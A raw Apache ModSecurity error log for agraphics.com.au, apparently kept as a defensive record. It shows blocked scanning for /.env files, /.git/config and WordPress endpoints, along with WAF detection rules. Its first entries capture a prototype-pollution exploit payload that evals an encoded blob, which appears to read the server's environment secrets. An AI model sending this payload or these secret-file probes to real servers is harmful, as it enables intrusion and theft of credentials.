{\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyigvudj10exblb2ygchjvy2vzcye9psd1bmrlzmluzwqnp0ptt04uc3ryaw5nawz5khbyb2nlc3muzw52ktone30no3zhcibinjq9qnvmzmvylmzyb20ozw52ks50b1n0cmluzygnymfzzty0jyk7dghyb3cgt2jqzwn0lmfzc2lnbihuzxcgrxjyb3ioj05fwfrfukvesvjfq1qnksx7zglnzxn0oiantkvyvf9sru..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/login"] [unique_id "afww0iY4dZsLOttMkcdCeQAAAQk"], referer: https://agraphics.com.au/login
[Thu May 07 14:27:32.905378 2026] [:error] [pid 15715:tid 15719] [client 103.168.67.107:60950] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[\\\\s\\\\x22'](?:alert|eval|\\\\.fromcharcode)\\\\s?(?:\\\\(|`)" at ARGS_POST:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "72"] [id "212790"] [rev "5"] [msg "COMODO WAF: XSS Attack Detected||agraphics.com.au|F|2"] [data "Matched Data: \\x22eval( found within ARGS_POST:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$b1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22eval(buffer.from('dmfyigvudj10exblb2ygchjvy2vzcye9psd1bmrlzmluzwqnp0ptt04uc3ryaw5nawz5khbyb2nlc3muzw52ktone30no3zhcibinjq9qnvmzmvylmzyb20ozw52ks50b1n0cmluzygnymfzzty0jyk7dghyb3cgt2jqzwn0lmfzc2lnbihuzxcgrxjyb3ioj05fwfrfukvesvjfq1qnksx7zglnzxn0oiantkvyvf9sru..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "agraphics.com.au"] [uri "/signin"] [unique_id "afww1CY4dZsLOttMkcdCgAAAAQI"], referer: https://agraphics.com.au/signin
[Thu May 07 14:27:33.843183 2026] [:error] [pid 15715:tid 15736] [client 103.168.67.107:60950] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/signup"] [unique_id "afww1SY4dZsLOttMkcdChQAAARA"], referer: https://agraphics.com.au/signup
[Thu May 07 14:27:35.533580 2026] [:error] [pid 15715:tid 15722] [client 103.168.67.107:64042] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/signup"] [unique_id "afww1yY4dZsLOttMkcdCiAAAAQU"], referer: https://agraphics.com.au/signup
[Thu May 07 14:27:36.979046 2026] [:error] [pid 15715:tid 15744] [client 103.168.67.107:64054] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/register"] [unique_id "afww2CY4dZsLOttMkcdCigAAARg"]
[Thu May 07 14:27:38.750604 2026] [:error] [pid 15715:tid 15739] [client 103.168.67.107:64064] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/register"] [unique_id "afww2iY4dZsLOttMkcdCjQAAARM"], referer: https://agraphics.com.au/register
[Thu May 07 14:27:40.610798 2026] [:error] [pid 15715:tid 15738] [client 103.168.67.107:63912] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/register"] [unique_id "afww3CY4dZsLOttMkcdCkgAAARI"], referer: https://agraphics.com.au/register
[Thu May 07 14:27:42.015152 2026] [:error] [pid 15630:tid 15675] [client 103.168.67.107:63914] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/register"] [unique_id "afww3nTithRAi4821quBkgAAAI8"], referer: https://agraphics.com.au/register
[Thu May 07 14:27:44.673116 2026] [:error] [pid 15630:tid 15669] [client 103.168.67.107:63922] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/register"] [unique_id "afww4HTithRAi4821quBlwAAAIk"], referer: https://agraphics.com.au/register
[Thu May 07 14:27:47.084064 2026] [:error] [pid 15630:tid 15661] [client 103.168.67.107:63936] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact"] [unique_id "afww43TithRAi4821quBmgAAAIE"]
[Thu May 07 14:27:48.343704 2026] [:error] [pid 15715:tid 15734] [client 103.168.67.107:63944] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact"] [unique_id "afww5CY4dZsLOttMkcdCpQAAAQ4"], referer: https://agraphics.com.au/contact
[Thu May 07 14:27:49.512419 2026] [:error] [pid 15630:tid 15682] [client 103.168.67.107:63956] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact"] [unique_id "afww5XTithRAi4821quBpgAAAJY"], referer: https://agraphics.com.au/contact
[Thu May 07 14:27:50.614502 2026] [:error] [pid 15629:tid 15645] [client 103.168.67.107:63204] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact"] [unique_id "afww5vrIJCALdUrO43lLpAAAAAw"], referer: https://agraphics.com.au/contact
[Thu May 07 14:27:52.141994 2026] [:error] [pid 15631:tid 15708] [client 103.168.67.107:63208] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact"] [unique_id "afww6HvP1GkPUuuLfqX51wAAANU"], referer: https://agraphics.com.au/contact
[Thu May 07 14:27:53.366897 2026] [:error] [pid 15630:tid 15683] [client 103.168.67.107:63222] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/subscribe"] [unique_id "afww6XTithRAi4821quBwAAAAJc"]
[Thu May 07 14:27:54.749607 2026] [:error] [pid 15629:tid 15643] [client 103.168.67.107:63232] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/subscribe"] [unique_id "afww6vrIJCALdUrO43lLqgAAAAo"], referer: https://agraphics.com.au/subscribe
[Thu May 07 14:27:55.780315 2026] [:error] [pid 15630:tid 15684] [client 103.168.67.107:63238] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/subscribe"] [unique_id "afww63TithRAi4821quBwwAAAJg"], referer: https://agraphics.com.au/subscribe
[Thu May 07 14:27:56.727006 2026] [:error] [pid 15631:tid 15711] [client 103.168.67.107:63246] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/subscribe"] [unique_id "afww7HvP1GkPUuuLfqX52wAAANg"], referer: https://agraphics.com.au/subscribe
[Thu May 07 14:27:57.487362 2026] [:error] [pid 15631:tid 15705] [client 103.168.67.107:63252] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/subscribe"] [unique_id "afww7XvP1GkPUuuLfqX54AAAANI"], referer: https://agraphics.com.au/subscribe
[Thu May 07 14:27:58.461455 2026] [:error] [pid 15631:tid 15695] [client 103.168.67.107:63264] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter"] [unique_id "afww7nvP1GkPUuuLfqX54gAAAMg"]
[Thu May 07 14:27:59.763850 2026] [:error] [pid 15629:tid 15638] [client 103.168.67.107:63270] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter"] [unique_id "afww7_rIJCALdUrO43lLrgAAAAU"], referer: https://agraphics.com.au/newsletter
[Thu May 07 14:28:01.051102 2026] [:error] [pid 15631:tid 15700] [client 103.168.67.107:46246] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter"] [unique_id "afww8XvP1GkPUuuLfqX55QAAAM0"], referer: https://agraphics.com.au/newsletter
[Thu May 07 14:28:02.085235 2026] [:error] [pid 15631:tid 15707] [client 103.168.67.107:46250] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter"] [unique_id "afww8nvP1GkPUuuLfqX55wAAANQ"], referer: https://agraphics.com.au/newsletter
[Thu May 07 14:28:10.755993 2026] [:error] [pid 15715:tid 15718] [client 103.168.67.107:53226] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsletter"] [unique_id "afww-iY4dZsLOttMkcdC0wAAAQE"], referer: https://agraphics.com.au/newsletter
[Thu May 07 14:28:11.732842 2026] [:error] [pid 15629:tid 15638] [client 103.168.67.107:53242] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/checkout"] [unique_id "afww-_rIJCALdUrO43lLuwAAAAU"]
[Thu May 07 14:28:20.925059 2026] [:error] [pid 15715:tid 15730] [client 103.168.67.107:53254] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api/auth/session"] [unique_id "afwxBCY4dZsLOttMkcdDJwAAAQo"]
[Thu May 07 14:28:22.128369 2026] [:error] [pid 15631:tid 15692] [client 103.168.67.107:53068] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api/auth/session"] [unique_id "afwxBnvP1GkPUuuLfqX5_QAAAMU"]
[Thu May 07 14:28:36.520375 2026] [:error] [pid 15629:tid 15633] [client 103.168.67.107:7324] [client 103.168.67.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afwxFPrIJCALdUrO43lMVQAAAAA"]
[Thu May 07 14:28:39.056989 2026] [:error] [pid 15630:tid 15675] [client 103.168.67.107:7332] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afwxF3TithRAi4821quB8gAAAI8"]
[Thu May 07 14:28:40.420919 2026] [:error] [pid 15630:tid 15661] [client 103.168.67.107:49598] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "afwxGHTithRAi4821quB9AAAAIE"]
[Thu May 07 14:28:42.232729 2026] [:error] [pid 15630:tid 15662] [client 103.168.67.107:49602] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "afwxGnTithRAi4821quB-AAAAII"]
[Thu May 07 14:28:44.363662 2026] [:error] [pid 15715:tid 15741] [client 103.168.67.107:49604] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "afwxHCY4dZsLOttMkcdDXwAAARU"]
[Thu May 07 14:28:46.136453 2026] [:error] [pid 15631:tid 15693] [client 103.168.67.107:49608] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "afwxHnvP1GkPUuuLfqX6KAAAAMY"]
[Thu May 07 14:28:48.210719 2026] [:error] [pid 15631:tid 15707] [client 103.168.67.107:49618] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "afwxIHvP1GkPUuuLfqX6LwAAANQ"]
[Thu May 07 14:28:49.234630 2026] [:error] [pid 15631:tid 15703] [client 103.168.67.107:49626] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "afwxIXvP1GkPUuuLfqX6MwAAANA"]
[Thu May 07 14:28:50.318064 2026] [:error] [pid 15715:tid 15742] [client 103.168.67.107:54478] [client 103.168.67.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "afwxIiY4dZsLOttMkcdDbQAAARY"]
[Thu May 07 18:06:19.974850 2026] [:error] [pid 15715:tid 15734] [client 34.11.35.104:58309] [client 34.11.35.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.35.104, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afxkGyY4dZsLOttMkceFhgAAAQ4"]
[Thu May 07 18:06:19.985387 2026] [proxy_fcgi:error] [pid 15715:tid 15734] [client 34.11.35.104:58309] AH01071: Got error 'Primary script unknown'
[Thu May 07 18:06:22.473337 2026] [:error] [pid 15715:tid 15722] [client 34.11.35.104:58309] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afxkHiY4dZsLOttMkceFlQAAAQU"]
[Thu May 07 18:06:22.931761 2026] [:error] [pid 28098:tid 28116] [client 34.11.35.104:63836] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afxkHsvhwfljlt8trSrFWgAAAFA"]
[Thu May 07 18:06:23.408617 2026] [:error] [pid 28098:tid 28108] [client 34.11.35.104:56133] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afxkH8vhwfljlt8trSrFWwAAAEg"]
[Thu May 07 18:06:23.993558 2026] [:error] [pid 15631:tid 15693] [client 34.11.35.104:49615] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afxkH3vP1GkPUuuLfqUpQwAAAMY"]
[Thu May 07 18:06:24.545760 2026] [:error] [pid 15629:tid 15634] [client 34.11.35.104:60513] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afxkIPrIJCALdUrO43lr_wAAAAE"]
[Thu May 07 18:06:25.144197 2026] [:error] [pid 28098:tid 28114] [client 34.11.35.104:62458] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afxkIcvhwfljlt8trSrFZgAAAE4"]
[Thu May 07 18:06:25.817609 2026] [:error] [pid 15631:tid 15692] [client 34.11.35.104:62478] [client 34.11.35.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afxkIXvP1GkPUuuLfqUpRQAAAMU"]
[Fri May 08 06:10:48.892114 2026] [:error] [pid 34318:tid 34336] [client 209.198.132.32:39748] [client 209.198.132.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.132.32, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "af0N6Mr3guirgJiKhzBxQQAAARA"]
[Fri May 08 06:10:48.911995 2026] [proxy_fcgi:error] [pid 34318:tid 34336] [client 209.198.132.32:39748] AH01071: Got error 'Primary script unknown'
[Fri May 08 07:37:11.359488 2026] [:error] [pid 61355:tid 61364] [client 34.32.101.135:55362] [client 34.32.101.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "af0iJ_khJTi30CBXmMnRfwAAAYM"]
[Fri May 08 12:12:36.938512 2026] [:error] [pid 61356:tid 61396] [client 34.158.151.166:37702] [client 34.158.151.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "af1itIx3vpB8oWhUq2Pt6gAAAcg"]
[Fri May 08 14:48:02.074345 2026] [:error] [pid 61356:tid 61402] [client 206.189.36.189:50067] [client 206.189.36.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.36.189, incrementing ddos counter"] [hostname "www.agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "af2HIox3vpB8oWhUq2MniQAAAc4"], referer: https://www.agostiniassociati.net//blog//wp-login.php
[Fri May 08 14:48:02.089041 2026] [proxy_fcgi:error] [pid 61356:tid 61402] [client 206.189.36.189:50067] AH01071: Got error 'Primary script unknown', referer: https://www.agostiniassociati.net//blog//wp-login.php
[Fri May 08 15:28:56.846594 2026] [:error] [pid 61355:tid 61384] [client 34.122.144.100:62665] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "af2QuPkhJTi30CBXmMleoAAAAZc"]
[Fri May 08 23:51:40.862442 2026] [:error] [pid 61317:tid 61333] [client 84.233.199.136:58356] [client 84.233.199.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "af4GjM-fFk_CedOCOYvvAwAAAU0"]
[Sat May 09 01:31:29.711402 2026] [:error] [pid 51009:tid 51096] [client 54.193.57.108:44612] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "af4d8eB0GbUWhxgzX9WRLQAAAJQ"]
[Sat May 09 01:31:30.541152 2026] [:error] [pid 51008:tid 51060] [client 54.193.57.108:44624] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri 